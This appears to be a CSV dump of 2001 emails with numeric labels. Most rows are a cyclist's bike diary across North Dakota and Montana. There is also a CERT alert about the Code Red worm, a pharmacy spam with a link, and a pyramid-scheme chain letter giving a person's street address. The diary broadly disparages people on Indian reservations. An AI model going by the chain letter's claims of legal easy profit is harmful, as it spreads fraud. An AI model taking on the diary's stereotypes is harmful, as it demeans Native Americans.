tailwind today, just a little bit south of due east. I took off like a bat out of hell propelled by that tailwind, hoping to encounter some eastbounders so that I could gloat about it. Near Tokio, ND I encountered my first ""Road Closed"" sign of the day on State Road 20. There are only 638,800 people living in North Dakota, about half as many as live within the city limits of Boston (not to mention the surrounding towns and suburbs), in an area of 70,704 square miles. A low population density means a very sparse road network, and therefore any detour could easily add forty miles to the day. Naturally, there's no easy way to tell in advance, you are just expected to follow the detour. So I flagged down a motorist going in the opposite direction and asked him if he knew why the road was closed and if he thought I could get through on a bicycle. He said he didn't know why it was closed, he had no problem getting through in his pickup, and I should certainly have no trouble on my bicycle. This turned out to be very bad advice. The roads in the neighborhood of Devil's Lake (the lake, not the town) are built on causeways through the surrounding wetlands and across the lake itself. It was the absence of one of these causeways (which was being rebuilt) that was the reason for closing state road 20. The local in the pickup truck who said I could get through on my bicycle must have had a rather exaggerated opinion of my swimming abilities. Fortunately, the Adventure Cycling map showed a way to route around the missing causeway that only cost me a couple of miles on gravel roads. The south shore of Devil's Lake from the southeast, is the Spirit Lake Nation, a Sioux Indian reservation (apparently ""Devil's Lake"" is a mistranslation of a Sioux word more nearly approximated by ""Spirit Lake""). The Sioux of the Spirit Lake Nation have also noticed what I have been remarking on for the past three or four states: in flat country such as this the wind is steady and reliable enough to use for generating electricity. It was in the Spirit Lake Nation that I saw a wind power turbine for the first time. Apparently the Sioux are using it to power their casino, judging by its location just outside the parking lot. I imagine the local rural electric cooperative simply didn't have enough amps to supply the demands of a large scale hotel-casino, and so the Nation erected a turbine to supplement it. At this point, I decided to take another piece of really bad advice, which was to detour off the Adventure Cycling route and pick up US 2 in Devil's Lake (the town, not the lake) and follow it to Rugby (the town, not the sport) shaving a few miles off the route and taking better advantage of the ESE tailwind. After all, Adventure Cycling was going to pick up US 2 west of Rugby and follow it for a few hundred miles across western North Dakota and eastern Montana, so how bad could it be? Perhaps it was the image of that wind turbine that made me think taking full advantage of the wind was the order of the day; at any rate I would live to regret this decision. For a four-lane, divided federal highway with a 65 mph speed limit, US 2 is in pretty abominable condition. The pavement is badly broken up, there isn't a hard shoulder for most of the 60 miles between Devil's Lake and Rugby, and where there is a hard shoulder six inches of grass has grown through the cracks. This was bad enough, but the worst was a stretch I hit between Penn and the junction with US 281 at Churchs Ferry. I guess the DOT had come to the same conclusion I had about the condition of the pavement, and had decided the best course of action was to rip it all up and start over. To this end, they had closed the two opposing lanes on the eastbound side of the median, reversed the flow of traffic in the passing lane on the westbound side and had two way two lane traffic for a good four miles. The only things that saved me were 1) North Dakota drivers are VERY considerate and 2) there aren't very many North Dakota drivers. Even though US 2 is the only east-west corridor across the northern part of the state, there still aren't enough people living here to generate alot of traffic. I had pretty much made up my mind to take US 281 south to Minnewaukan, pay the 11 mile penalty for my error of judgement, and forget about Rugby. But guess what sign I saw at the junction with 281? ""Road Closed"" with a detour straight down US 2. Arrgh. At least I was out of the construction by then, and the next ten miles of US 2 must be what they ripped up and rebuilt last year because it was in excellent condition with a wide, hard shoulder. I guess what Andrew Howard says about Minnesota also applies to North Dakota, ""There are two seasons: winter and road construction"". In the end I decided to just grit my teeth and steam down US 2 as fast as I could to get off of it before the sun was so low in the west that drivers would be blinded. Fortunately, I had that wind behind me, so with some effort I was able to run through the last 60 miles or so at 17-18 mph (hence the ridiculously high -- for a tourist -- average speed in the header above). One begins to understand why some cyclists choose to ride the interstates in Montana and North Dakota: the traffic isn't moving much faster than it does on the secondary roads and at least there's always a hard shoulder. I'm spending tonight at a campground (which is an adjunct to a motel) in Rugby, the geographical center of North America. I think Alaska must be pulling the center a bit to the west in the continental US since I am pretty sure that I'm more than half way to Seattle: with 2450 miles down, there should only be about 1700 remaining. And the ""geographical center"" seems to be remarkably close to the 100th meridian exactly .... At any rate, there's a monument here marking the center which becomes a photo opportunity when you lean a bicycle against it. Day 33 Date: Wednesday July 25, 2001 Distance: 68 miles Moving average speed: 15.2 mph Left at 9:45 AM Arrived at 3:00 PM Overnight in Expressway Car Wash, Laundromat and Campground, Minot, ND Latitude 48 d 13 m 46 s N Longitude 101 d 15 m 6 s W Cumulative distance: 2526 miles I had a late start today since I knew it would be a short one. I need to get myself in phase with the places you can stop along the way. Here in the wild west, the population is so sparse you can't choose your daily mileages, you just go from one town to the next and hope it's not too far. By delaying my departure I gave the wind time to build up a bit, and who would have guessed it but I got another day of bodacious tailwinds. I bet those eastbounders who flew from the east coast to the west coast to start their ride are really steamed now. But guess what the day consisted of? 68 miles of pure, solid US 2, this time sanctioned by Adventure Cycling. It's no different west of Rugby than it was to the east; I've put in more than 120 miles on US 2 in the last two days and I'm thoroughly sick of it now and plan to follow every single little detour off of it that Adventure Cycling recommends. Locals inform me that US 2 is even worse in eastern Montana where it's only two lanes wide, still with no shoulder. That's acceptable to me as long as traffic is light. They told me in Rugby that the North Dakota State Fair would be running in Minot when I got here, and sure enough it is. I spent most of the afternoon down there. It's everything you would expect from a state fair: carnival, crafts, livestock (a word of caution to future cyclists in North Dakota with fancy cleat systems built into your shoes: be very careful where you step in the livestock barns). It seemed a shame to squander the tailwind by spending the afternoon at the state fair instead of riding all afternoon, but there is no place to stop within a reasonable distance of Minot if you already have 68 miles on the odometer, so I have to just hope the wind doesn't turn again tomorrow. Day 34 Date: Thursday July 26, 2001 Distance: 81 miles Moving average speed: 12.6 mph Left at 9:00 AM Arrived at 4:00 PM Overnight in New Town Marina Campground, New Town, ND Latitude 47 d 58 m 56 s N Longitude 102 d 31 m 53 s W Cumulative distance: 2607 miles I had a miserable night last night. My choice of campground was a very poor one: although they had a laundromat and were convenient to the state fair they were located right on the corner of US 2 and a major county road with a gas station that was open all night. It was one of those ""campgrounds"" that's really just a parking lot for RVs with a few grassy patches at the edge where you can pitch a tent. It was very noisy; I hardly slept at all. I had a late start after lingering in a cafe in Minot, and was pleasantly surprised to see that the wind was still favorable, from the southeast today. I was able to take pretty good advantage of it except for the first twenty miles which were due south. That stretch was on US 83, which was a carbon copy of US 2 as far as riding conditions are concerned. I turned west on State Road 23, which was much better. I'm getting into really empty country now. It's the sort of place where they raise the speed limits on the grounds that the greater danger is one of drivers falling asleep, not high speed collisions. Today I started with a 45 mile stretch where there were no services whatsoever (no towns, no gas stations, no convenience stores, no potable water, nothing). Tomorrow starts with 70 such miles. This is the price you pay to leave the main road. Eastern Montana won't be so bad because the route returns to good ol' US 2, which is literally the only road you can take through that area. Day 35 Distance: 76 miles Moving average speed: 12.3 mph Left at 9:45 AM Arrived at 4:00 PM Overnight in Travel Host Motel, Williston, ND Latitude 48 d 10 m 49 s N Longitude 103 d 37 m 37 s W Cumulative distance: 2684 miles Not much to report on today. I crossed what I'm sure will turn out to be the loneliest stretch of road on the trip: 72 miles from New Town to Williston, ND in which there is not a single town. The loneliness was relieved about 20 miles out of New Town where I encountered two eastbounders: Bill Easley and his son Todd are from Denver, CO and are riding from Anacortes to Bar Harbor following the Northern Tier, on the road for 20 days when I encountered them. Bill will have to finish alone as Todd has to return home to work in another 20 days. ",0,0 """sdre341@yahoo.com"" ","""3412@aol.com"" <3412@aol.com>","Sat, 28 Jul 2001 10:07:20 -0700",Personal Information 623817,"I have the courage to become rich, do you? This niifty little letter has the power to fire your boss, within weeks! Forget about all those silly other chain letters, they are old and they don't work! This letter will work for you today and will work for you tomorrow, it is a virtual money machine-- and it is legal! I have never had as much fun making money in my entire life. Will you join me? Forget about all the fancy math equations-- this letter allows you to think about all of the possibilities yourself. Here is how this letter works(pay attention!): We are going to be selling 5 marketing reports to each other. This is what makes this letter legal, we are selling a product for a profit. We will be selling a total of 5 reports. Your total investment is $25.00 -- the cost of going to McDonalds and the movies with your wife! And this work is so easy that a child of ten could do it. Step 1: Order all 5 reports, putting a $5 bill in each of the five envelopes. You will need these reports to re-sell to others. Step 2: Cut and paste this letter uinto notepad or another word document. Step 3: Remove the last name (number5) and replace it with your name and address. Delete the 1st name on the list, and move everyone else up one slot. Don't cheat here, everyone is entitled to their turn, and if you cheat this letter will not work as planned. Step 5: Mail this letter to at least 20 people. I promise you that this will multiply like a virus. Step 6: Open your mailbox and take a trip to your bank, it's really fun! If you see my name listed more than once, then this is the first generation of this letter, you my friend are on the ground floor! Order report #1 from: Marc Lev 3621 Roland Avenue, 1st Floor Baltimore, MD 21211 Order report #2 from: Marc Lev 3621 Roland Avenue, 1st Floor Baltimore, MD 21211 Order report # 3 from: Marc Lev 3621 Roland Avenue, 1st Floor Baltimore, MD 21211 Order report #4 from: Marc Lev 3621 Roland Avenue, 1st Floor Baltimore, MD 21211 Order report # 5 from: Marc Lev 3621 Roland Avenue, 1st Floor Baltimore, MD 21211 ******* ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Sat, 28 Jul 2001 21:00:00 -0400",Bike Diary #11,"Day 36 Date: Saturday July 28, 2001 Distance: 104 miles Moving average speed: 13.7 mph Left at 8:00 AM (CDT) Arrived at 4:00 PM (MDT) Overnight in Sherman Inn Motel, Wolf Point, MT Latitude 48 d 5 m 26 s N Longitude 105 d 38 m 11 s W Cumulative distance: 2788 miles Indian reservations are the ghettos of the great plains: isolated pockets of poor dark-skinned people surrounded by relatively affluent blonde whites of Scandinavian descent. They have all of the social ills normally associated with inner city slums (poverty, unemployment, petty crime, alcoholism, drug abuse, domestic violence) as well as their outward manifestations (federal housing projects, pawn shops, detox clinics, crisis centers and dozens of missions trying to help by pure dint of religion). The word from the eastbounders so far has been unanimous: don't camp in city parks on the reservations. I entered the Fort Peck Indian Reservation 30 miles after crossing the Montana state line (yes, I got a picture of the bicycle leaning against the sign). About 15 miles later I hit the little town of Brockton, MT and decided to stop at the convenience store there and perform the buy-Gatorade-and-fill-my-bottles ritual once again. There's nobody in the store except the woman working the register and a guy who appears to be just loitering there. I buy my Gatorade, fill my bottles, make some small talk with the woman at the register about the ""4-for-2, contact your Congressman"" sign outside the store (they want four lanes for this stretch of US route 2). I walk outside to my bicycle, and the loiterer follows. ""Do you have a dollar?"" he asks. ""Yes, several,"" I reply and start drinking my Gatorade. ""Will you give me one?"" he asks. At home, I walk through swarms of pan-handlers every day in Harvard Square and I have about as bad a case of compassion fatigue as it is possible to get: ""No"", I reply. ""How about a quarter?"" he asks. At this point, I just want to finish my Gatorade in peace, so I hand him 50 cents and hope he will go away. But no, still unsatisfied he decides to try a rather blunt intimidation tactic: ""Don't you ever get scared, riding that bicycle all alone?"". Two can play at that game, I thought: ""I'm not alone,"" I lied, ""there are four guys behind me. I told them I'd wait for them here."" ""Oh,"" he says, and overwhelmingly outnumbered, leaves. I think I have guessed his MO: he waits at the convenience store for strangers to happen along. All the locals have heard his sob story before and stopped giving a long time ago. One important tidbit of information I got from the woman at the store was that the forecast for tonight is for crop-damaging hail, so I wasn't really tempted to camp at all. It was hard to believe during the sunny and pleasant afternoon, but sure enough, now something is really moving in with a vengeance. The westbound Empire Builder passed me in Brockton at 1:15 PM MDT. Assuming that it covers the remaining 35 miles to Wolf Point in half an hour (a bit generous, I admit), he was running more than two hours late, a fairly typical Amtrak performance, unfortunately. (Yes, of course I have an Empire Builder schedule with me. I'm not going to ride 600+ miles exactly parallel to its route without bringing a schedule!) ",0,0 Shawn ,kellie@facstaff.richmond.edu,"Sun, 29 Jul 2001 05:54:14 -1200",Quicker Recharges,"Quicker Recharges Hello my friend! I am ready to kill myself and eat my dog, if medicine prices here (http://srgsum.overtude.com/?18319164) are bad. Look, the site and call me 1-800 if its wrong..   My dog and I are still alive :)",1,1 CERT Advisory ,cert-advisory@cert.org,"Sun, 29 Jul 2001 16:24:48 -0400",Public Alert about the Code Red worm,"-----BEGIN PGP SIGNED MESSAGE----- We the CERT/CC, along with other organizations listed below are jointly publishing this alert about a serious threat to the Internet For Immediate Release: 3:00 PM EDT July 29, 2001 A Very Real and Present Threat to the Internet: July 31 Deadline For Action Summary: The Code Red Worm and mutations of the worm pose a continued and serious threat to Internet users. Immediate action is required to combat this threat. Users who have deployed software that is vulnerable to the worm (Microsoft IIS Versions 4.0 and 5.0) must install, if they have not done so already, a vital security patch. How Big Is The Problem? On July 19, the Code Red worm infected more than 250,000 systems in just 9 hours. The worm scans the Internet, identifies vulnerable systems, and infects these systems by installing itself. Each newly installed worm joins all the others causing the rate of scanning to grow rapidly. This uncontrolled growth in scanning directly decreases the speed of the Internet and can cause sporadic but widespread outages among all types of systems. Code Red is likely to start spreading again on July 31st, 2001 8:00 PM EDT and has mutated so that it may be even more dangerous. This spread has the potential to disrupt business and personal use of the Internet for applications such as electronic commerce, email and entertainment. Who Must Act? Every organization or person who has Windows NT or Windows 2000 systems AND the IIS web server software may be vulnerable. IIS is installed automatically for many applications. If you are not certain, follow the instructions attached to determine whether you are running IIS 4.0 or 5.0. If you are using Windows 95, Windows 98, or Windows Me, there is no action that you need to take in response to this alert. What To Do If You Are Vulnerable? a. To rid your machine of the current worm, reboot your computer. b. To protect your system from re-infection: Install Microsoft?s patch for the Code Red vulnerability problem: * Windows NT version 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833 * Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800 Step-by-step instructions for these actions are posted at www.digitalisland.com/codered Microsoft's description of the patch and its installation, and the vulnerability it addresses is posted at: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-033.asp Because of the importance of this threat, this alert is being made jointly by: Microsoft The National Infrastructure Protection Center Federal Computer Incident Response Center (FedCIRC) Information Technology Association of America (ITAA) CERT Coordination Center SANS Institute Internet Security Systems Internet Security Alliance -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO2RpCgYcfu8gsZJZAQGFrAP/TzyQ7lyshdKb7XeNNaVTFAZzO1hB1vKG CZsaPxzqF2/GMgAQJ8HNum43QBSzr+H96f/5c7Op9ac1SefzuyWs14z+BhBXr6mf Io9vClcL3h9saqV/J1Bkv0psYhhImTgLvAWZIYneYMuvY39zjxLC2/jkKLw8dWze lcdFPH5j9vE= =3biQ -----END PGP SIGNATURE----- ",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Sun, 29 Jul 2001 23:17:00 -0400",Bike Diary #12,"Day 37 Date Sunday July 29, 2001 Distance 49 miles Moving average speed: 9.7 mph Left at 9:00 AM Arrived at 3:00 PM Overnight in Shady Rest RV Park, Glasgow, MT Latitude 48 d 11 m 51 s N Longitude 106 d 37 m 15 s W Cumulative distance 2837 miles I got a late start today, which meant that the wind had a chance to build up. Ugh, what a wind. Today was both the slowest and shortest day of the ride so far. It was the first headwind I have faced since leaving Cooperstown, ND six days ago. This was the sort of wind that you only get on the great plains: a steady 25-30 mph coming from due west right in my face. It slowed my progress to a creep, as you can see from the moing average speed above. But I've complained about winds before, and I suppose I should really be grateful that I've had so many favorable winds despite the ""prevailing westerlies"" theory (of which I am becoming increasingly skeptical). Fortunately, I had planned for a short day today anyway. West of Culbertson, MT some agency (whether it is government or private, I do not know) has erected a white metal cross on a signpost next to US 2 marking the locations of all the highway fatalities. I was familiar with this tradition from living in Tucson, where family and friends of people killed in automobile accidents often erect a small shrine beside the road, but the ones along highway 2 in Montana were clearly all done by the same organization. One can hardly travel a mile without seeing at least one, and sometimes they come in pairs and I even saw a group of four. Some of them have been decorated with flowers and ribbons, but most are bare. Meanwhile, the traffic passes at 70 mph,the posted speed limit. As far as I can tell, both North Dakota and Montana have legalized gambling, or at least some forms of it. It seems like every business in these states now has an ancillary casino. Some of the ones I've seen: ""Git-N-Go: Gas, Food, Beer and Casino"", ""Elks Lodge 1764 and Casino"", and of course every hotel and bar in both states has a casino as well. There was even a forlorn looking ""State Line Casino"" on the North Dakota-Montana border, doubtless erected during that brief window of opportunity with gambling was legal in North Dakota and not Montana. Frankly speaking, I'm not sure that there are enough suckers, er, I mean gamblers, to support so many casinos, what with the Indian reservations already having such elaborate facilities. In this day of ubiquitous casinos, it seems to me that legalizing gambling in one more state is the last desperate act of a dying economy. I encountered an eastbounder while I was doing my laundry at the campground today. He's spending the night here as well. Ben Reed left Aberdeen, WA on June 27th and is riding to New Jersey to celebrate graduating from high school. This is his first long tour, and he's getting a hard lesson on the frailty of everyday bicycling equipment when exposed to the rigors of long distance touring. Lately the problem has been broken spokes in his rear wheel (a 36 spoke three-cross pattern). He had no sooner had the last one repaired in Havre then another one broke before he got 170 miles farther to Glasgow. He didn't have any spares, but I was able to install one of mine and get the wheel true enough so that he could use his rear brake again. Frankly speaking, the wheel needs to be entirely rebuilt; I'm surprised the bike shop in Havre didn't do it for him. I suffered my first mechanical failure today: a toeclip strap broke during an ungracefully executed dismount manoeuver. Naturally, I don't have a spare so I will have to ride without it until I reach Havre in two days. It's moderately annoying, but certainly not a show-stopper. Day 38 Date: Monday July 30, 2001 Distance: 72 miles Moving average speed: 12.6 mph Left at 8:30 AM Arrived at 3:00 PM Overnight in Maltana Motel, Malta, MT Latitude 48 d 21 m 32 s N Longitude 107 d 52 m 35 s W Cumulative distance: 2910 miles The wind was much better behaved today, mostly calm with something from the north from time to time. I was tempted to press on to Havre (the next place one can reasonably stop) since I don't know what to expect from the wind tomorrow, but there was a very interesting museum here in Malta, the Phillips County Museum, with a collection of dinosaur bones found in the area and I spent so much time there that I didn't feel up to another 90 miles late in the afternoon. I watched the eastbound Empire Builder come into Malta and leave at 3:20 PM, half an hour late already and only 600 miles east of Spokane. I've been riding on a schedule myself for the last several days. I'm meeting my father in Whitefish, MT on August 5, and I want to make sure that I get there on time. Since the Adventure Cycling route parallels the Great Northern Railway from Williston, ND to Cut Bank, MT, it seemed natural to base my schedule on the Empire Builder's. Therefore, my plan for the run from Williston, ND to Shelby, MT is to ride one Empire Builder stop per day and finally see something of the towns I've passed through on the train so many times before. So that's what I've been doing, so far Williston, Wolf Point, Glasgow and Malta are down and only Havre and Shelby remain. There's only 25 miles between Havre and Cut Bank, so although I'll pass through it I won't stop but press on to St. Mary instead. I ran into another eastbounder today, staying in the same motel that I'm in. Scott Henderson, from San Diego, left Seattle on July 11 and is headed for the midwest. He says he just wants to get in front of tailwinds on the great plains and have some fun before going home. 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As usual, the weather appeared to be clearing at about 10:30 AM ... the sun always comes out right around check-out time at the motel. So I felt compelled to at least give it a try. I got about five miles out of town when ""Big Sky Country"" lived up to its reputation and presented me with a clear view of some weather that was definitely not messing around. This time I have no regrets about turning back: it rained steady all day. I mostly spent the day hanging out with Scott the eastbounder, who also decided not to move today. Havre tomorrow for sure. Day 40 Distance: 94 miles Moving average speed: 13.8 mph Left at 7:30 AM Arrived at 3:45 PM Overnight in H. Earl Clack Campground (city fairgrounds), Havre, MT Latitude 48 d 33 m 22 s N Longitude 109 d 42 m 32 s W Cumulative distance: 3014 miles (NB, includes 10 miles from false start yesterday) I got an early start, and the wind was more or less cooperative today, even favorable in stretches although mostly calm until about 3:00 PM when it built up to a pretty strong westerly. I was practically in Havre by then, so it didn't matter much. I also had my second mechanical failure of the trip: a flat tire a little bit east of Havre, coming after 3005 miles without a single flat. I repaired the tire and contemplated replacing it (the tread is pretty worn now), but decided not to just yet. If there's another flat soon, then I will replace it. US 2 turns back into a miserable road for cycling west of Fort Belknap Agency, MT, where traffic on state road 66 from Billings, MT joins. There are two lanes, no shoulder, and a 70 mph speed limit and a bunch of REALLY inconsiderate Montana drivers on the road. I think they're still bitter about the failure of their experiment with having no speed limits at all. It's strange that although Montana and North Dakota share a border, they have entirely different attitudes toward sharing the road with bicycles. My favorite Montana manuever is the one where some guy in the oncoming lane decides to pass the car in front of him despite the bicycle (me) in the opposing lane, so you get this situation where there is a car coming at you head-on at about 80 mph and you have nowhere to go but the ditch. Speaking of Montana drivers, I saw some really poignant arrangments of roadside crosses today: twice there were seven crosses sharing one signpost, and one overpass over the railroad just east of Dodson had played host to no fewer than three separate accidents killing a total of five people (two, two and one). I logged my 3000th mile today. Most folks I talk to figure that 3000 miles should have carried me all the way from Boston to Seattle, but it's more like 75% of the way there. I blame frequent flyer programs for this geographic distortion. Too many people are basing their distance estimates on how many frequent flyer miles they would get from flying from Boston to Seattle, forgetting that 1) planes can take a much more direct route and 2) aviators always navigate with nautical miles, which are 15% longer than statute miles. But it is starting to feel like I'm putting a dent in it anyway. Now after setting up a schedule for myself based on the Empire Builder, I find that due to my layover day yesterday I am now behind schedule, just like the Empire Builder so often is. However, like Amtrak, I padded my schedule, so if there are no further delays I should still wake up in Whitefish on the morning of my father's arrival. Speaking of the Empire Builder, the eastbound train passed me just west of Chinook at 1:52 PM today. It should have left Havre, 21 miles farther west, at 1:32 PM, so it looks like today was a good day for Amtrak. My companion from Williston, ND to Cut Bank, MT is the Burlington Northern Santa Fe Railroad, in particular the part that used to be the main line of the Great Northern Railway (which merged with the Northern Pacific, the Spokane, Portland and Seattle and the Chicago, Burlington and Quincy to form the Burlington Northern in the '70s, then the Burlington Northern merged with the Atchison, Topeka and Santa Fe to form the Burlington Northern Santa Fe about two years ago). There is a great deal of traffic on this line, which follows US 2 very closely in places (or, more accurately, US 2 follows the main line of the Great Northern, since certainly the railroad was there first). It is generally possible to get the engineer to toot the horn for you if he sees you and you make the universal hand-pulling-whistle-cord gesture from the bicycle. I spent quite alot of time talking to a BNSF freight conductor and a friend of his in front of a supermarket in Havre. They tried to convice me to make a side trip to the Rocky Boys Indian Reservation about 20 miles away where a pow-wow is starting tomorrow. Apparently this particular pow-wow is one of the biggest in the country and draws dancers from all over the US and Canada. If I hadn't already soaked up my one-day pad in the schedule waiting out the rain in Malta, I definitely would go, but as things are, probably not. The frieght conductor said he does the run from Havre to Whitefish over Marias pass twice a week, and there's no comparison between Marias pass and the Going-to-the- Sun Road (the latter is far more spectacular), so I guess I have made up my mind over which pass I will cross the continental divide. Unfortunately, it didn't occur to me until after our conversation that I should have asked the freight conductor if he had any extra BNSF employee timetables. Day 41 Date Thursday August 2, 2001 Distance: 104 miles Moving average speed: 11.6 mph Left at 8:15 AM Arrived at 7:00 PM Overnight in O'Haire Motel, Shelby, MT Latitude 48 d 30 m 13 s N Longitude 111 d 51 m 31 s W Cumulative distance: 3118 miles Today was one of the hardest days of the ride, although I can't figure out why. The distance was not that much longer than usual, the wind was not much stronger than usual (15 mph from the southwest), and although I gained about 800 feet in elevation during the day, that's not a whole lot of climbing. Maybe I was just having a bad day. Most of the locomotives passing me on the BNSF are very modern 6000 horsepower units (mostly DASH9-44CW's and SD70MAC's with a smattering of 3000 hp SD40's); the type of locomotive you would expect to see on the main line of a class 1 railroad. I have seen a new locomotive arrangement: BNSF is running unit trains of covered hoppers (grain, I suppose) which are incredibly long. They use four of their 6000 hp locomotives to move these things, and they don't go alot faster than I do uphill. (An aside: as locomotives grow more and more powerful, freight trains don't get any faster, just longer. Such are the economics of bulk transportation, I suppose.) The interesting thing is that they put two units at the front of the train, and the other two at the end, controlled remotely from the front (or at least I hope so, as they are unmanned). One of these unit grain trains passed me going west as I was working my way upgrade between Devon and Dunkirk, MT. As usual, I made the universal hand-pulling- whistle-cord gesture, and immediately the engineer responded with a pretty good rendition of shave-and-a-haircut-two-bits. Immediately after, the window on the left side of the locomotive (the side I was on) was opened and somebody started frantically waving at me through it. I believe it may well have been the frieght conductor I spoke to yesterday. At least, I know that since the engineer sits on the right side of the locomotive, it was definitely a freight conductor who was waving at me. The eastbound Empire Builder passed me at 12:20 PM in Rudyard, MT. If it left Shelby, MT at 11:20 AM on schedule, then the intervening 63 miles took an hour, which is credible. The westbound Empire Builder passed me in Dunkirk at 6:20 PM. If it took it 10 minutes to cover the 11 miles to Shelby then it arrived at 6:30 PM, an hour and ten minutes late. So it was a mixed day for Amtrak. Day 42 Date: Friday August 3, 2001 Distance: 91 miles Moving average speed: 11.9 mph Left at 8:30 AM Arrived at 6:30 PM Overnight in St Mary Campground, Glacier National Park near St Mary, MT Latitude 48 d 45 m 15 s N Longitude 113 d 26 m 33 s W Cumulative distance: 3209 miles Finally finally FINALLY managed to ride my way out of the great plains today after 1000 miles and 13 days of some of the most boring real estate this country has to offer. I can think of no good reason for bicycling in the great plains except that they are in the way. As if they wanted to make absolutely sure that I would have no regrets about leaving, the plains provided me with yet another typical afternoon southwesterly, 20-25 mph. I thought I had a trick up my sleeve which was that my last ten miles into St Mary on US 89 would be mostly north, putting the wind at my back. Little did I know that on US 89 the wind would hardly be relevant. Adventure Cycling provides two possible routes from Cut Bank, MT to West Glacier, MT, one that goes north into Canada and visits the Waterton Lakes before traversing the Going to the Sun Highway, the other takes US 2 over Marias Pass. I didn't want to miss the Going to the Sun Highway, but I didn't have time or inclination for Waterton Lakes, so I freelanced my own route from Cut Bank to St Mary which was 84 miles shorter and didn't hit any particularly bad roads. My route took me through the town of Starr School in the Blackfeet indian reservation, which has to be one of the most depressing towns I've passed through. Some time ago I noticed the pattern that the more hopeless a person's outlook is, the meaner the dog he gets to compensate. If things are really bleak, then what you need is a whole pack of really means dogs, and don't bother putting up a fence so that they don't chase whatever happens to pass in the road. I'm undoubtably going to lower myself in the esteem of some of my readers who are dog lovers with what follows, but I think I might as well just come out and admit it: I hate dogs. I don't fear them; fear implies a certain respect. I just hate them. The dog has to be one of the stupidest creatures on the planet, convinced that every piece of real estate he ever pissed on is his. The concept of a public right-of-way traversing his territory is too subtle for the puny canine mind. These ignorant creatures are convinced that they are protecting their domain by coming out in hot pursuit of passing cyclists, but the net effect of all this sturm und drang is just the same as if the worthless animal had never ventured out. I often daydream about countermeasures. Doggie treats laced with deadly poison? Too slow. Lure the dog into traffic? Too risky. .357 magnum? Unfortunately, the dog's owner might have one too. These days, I don't even speed up when the dogs come out in pursuit: I'm so bored with the whole scenario. Anyway, after my adventures with the dogs in Starr School, I reached US 89 ready to get in front of that southwest wind. I immediately hit a wall: US 89 is the first road definitely off the great plains and in the Front Range. The tailwind I was counting on to blow me into St Mark was nothing but a breeze on my back as I crept uphill. Fortunately, the last five miles into St Mary were a bodacious downhill, but a tailwind could hardly have made any impact on the speed that me and my 100 pound machine went down it. Day 43 Date: Saturday August 4, 2001 Distance: 81 miles Moving average speed: 12.3 mph Left at 7:30 AM Summit at 9:30 AM Arrived at 4:00 PM Overnight in The Bunkhouse Traveler's Inn and Hostel, Whitefish, MT Latitude 48 d 24 m 44 s N Longitude 114 d 20 m 24 s W Cumulative distance: 3290 miles Today was supposed to be the Big Day of the ride: I was going to reach the highest point on my trip, Logan Pass on the Going-to-the-Sun Highway at 6646 feet. I had to get an early start because of bicycle restrictions on the GTTS Highway, and I was all psyched up for a big climb. The sad truth of it is the Going-to-the-Sun is a bunny hill. A cupcake. Not a difficult climb at all. Six miles of a 6% grade: big deal. It looked like the eastbound trip would have been twice as long climbing, but the grade was the same. I would take the Going-to-the-Sun Highway in either direction over the ride from Northampton to Lenox across the Berkshire Hills in Massachusetts. The Berkshires are real climbing. Now a word about those restrictions that the Park Service has put on bicycles on the Going-to-the-Sun Highway. Specifically, they are that from June 15 until Labor Day between 11 AM and 4 PM all bicycles are prohibited from the seven miles along Lake McDonald and eastbound bicycles from the twelve miles from Logan Creek to Logan Pass (the climb), i.e. exactly where and when you are most likely to want to ride your bicycle in the park. For eastbounders, this effectively means you have to summit before 11 AM. For westbounders, this effectively means that if you are planning to spend less than a full day in the park you will have to spend alot less than a full day in the park: as a practical matter you have to be out of the park by 11 AM. I reached the summit of Logan Pass at 9:30 AM, 18 miles and two hours after leaving my campsite in St Mary. It was 10:52 AM when I entered the restricted zone along Lake McDonald on the other side, 24 miles farther down the highway. There was no way I was going to sit there and wait for five hours, so I wound up the mule for all it was worth and made it seven miles to the other side of the restricted zone at 11:18 AM, at which point I was two miles from the exit from the park. So that was it: I had four hours in the park. Nice mountains, nice lake, but I gotta go because the Park Service won't let me ride my bicycle on the Going-to-the-Sun Highway. I think those restrictions are completely backwards, of course (it's the damn automobiles that should be restricted), but since bicycles are vastly outnumbered, and since we know it is easier to discriminate against minorities, in the interest of the convenience of those who no longer have the strength to travel under their own power those of us who do are practically excluded from Glacier National Park. Whitefish, MT is quite the quintessential Rocky Mountain resort town: lots of SUVs, fancy mountain bikes with elaborate suspension systems (ick), street fairs, coffee houses, internet cafes and of course the obligatory micro-brewery (Black Star). This place is lousy with roof-rack cyclists (for those unfamiliar with the lingo, a roof-rack cyclist is one who puts his bicycle on the roof rack on his automobile and drives it 600 miles to ride a 60 mile van supported tour). I suppose that given enough time Whitefish, MT will evolve into a carbon copy of Boulder, CO. Day 44 Date: Sunday August 5, 2001 Distance: 64 miles Moving average speed: 13.8 mph Left at 12:00 noon Arrived at 5:00 PM Overnight in Rexford Bench Campground (USFS) near Rexford, MT Latitude 48 d 53 m 59 s N Longitude 115 d 9 m 22 s W Cumulative distance: 3354 miles I spent most of the morning waiting for my father's train to come into Whitefish. It was scheduled to depart Whitefish at 7:26 AM, it didn't arrive until 10:10 AM and it departed twenty minutes later, more than three hours late. Apparently it had been three hours late leaving Seattle, its point of origin, because the westbound train whose equipment comprised this eastbound train had been late getting into Seattle and they couldn't turn it around in time. Clearly, there is a vicious cycle at work here. What a way to run a railroad. Anyway, the old man arrived intact and reasonably well rested so after eating an early lunch/late breakfast in Whitefish It seemed like there was nothing else to do but press on and try to make the most of what was left of the day. The weather was perfect, winds mostly favorable, and surroundings a welcome relief from the plains. Dad keeps up very well for a man of sixty; I pull ahead a bit on ascents but otherwise things are pretty much even. Day 45 Date: Monday August 6, 2001 Distance: 82 miles Moving average speed: 13.0 mph Left at 8:45 PM Arrived at 5:30 PM Overnight in Ranch Motel, Troy, MT Latitude 48 d 27 m 10 s N Longitude 115 d 53 m 8 s W Cumulative distance: 3436 miles West of Whitefish, MT, the Northern Tier route does a series of long meanders north and then back south as it tries to follow rivers (and the lakes created by damming them) through the mountains to find the levellest route west. It almost seems as if the Adventure Cycling Association, headquartered in Missoula, MT, wants to prolong your stay in their home state. We spent yesterday going almost due north along US 93, only to 